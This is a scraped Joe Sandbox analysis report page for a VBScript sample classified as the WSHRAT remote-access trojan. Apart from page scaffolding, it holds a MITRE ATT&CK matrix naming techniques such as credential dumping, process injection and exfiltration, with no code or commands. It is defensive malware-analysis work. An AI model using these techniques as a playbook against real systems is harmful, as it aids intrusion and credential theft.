Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Modify Registry	Cached Domain Credentials	1 Remote System Discovery	VNC	GUI Input Capture	113 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	131 Virtualization/Sandbox Evasion	DCSync	1 System Network Configuration Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	111 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Hidden Files and Directories	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report ORDER-25013-67789543AX.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: WSHRAT

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Other

Sigma Signatures

System Summary

Data Obfuscation

Persistence and Installation Behavior

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
ORDER-25013-67789543AX.vbs